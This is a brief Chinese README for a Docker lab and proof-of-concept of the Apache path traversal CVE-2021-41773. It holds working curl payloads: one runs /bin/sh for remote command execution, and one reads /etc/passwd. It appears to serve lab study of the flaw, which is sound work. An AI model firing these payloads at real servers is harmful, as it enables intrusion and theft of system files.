CVE-2021-41773

CVE-2021-41773 的 PoC 和实验环境

安装实验环境

$ git clone https://github.com/0xc4t/CVE-2021-41773
$ cd CVE-2021-41773
$ docker build -t cve-2021-41773 .
$ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773

PoC

# RCE
curl 'http://localhost:81/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; whoami'

# LFI
curl http://192.168.56.108:81/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

参考

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
• https://www.hackthebox.com/blog/cve-2021-41773-explained